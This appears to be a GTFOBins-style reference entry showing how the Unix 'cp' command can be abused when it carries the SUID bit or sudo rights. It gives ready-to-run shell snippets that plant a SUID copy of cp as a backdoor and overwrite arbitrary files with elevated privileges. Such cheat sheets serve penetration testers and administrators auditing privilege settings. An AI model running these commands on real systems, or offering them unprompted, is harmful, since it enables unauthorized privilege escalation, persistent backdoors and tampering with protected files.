.. / cp

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• SUID
• Sudo

This can be used to copy and then read or write files from a restricted file systems or with elevated privileges.

SUID

It runs with the SUID bit set and may be exploited to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor. If it is used to run sh -p, omit the -p argument on systems like Debian that allow the default sh shell to run with SUID privileges.

• sudo sh -c 'cp $(which cp) .; chmod +s ./cp'
  
  LFILE=file_to_write
  TF=$(mktemp)
  echo "DATA" > $TF
  ./cp $TF $LFILE

Sudo

It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on sudo.

• LFILE=file_to_write
  TF=$(mktemp)
  echo "DATA" > $TF
  sudo cp $TF $LFILE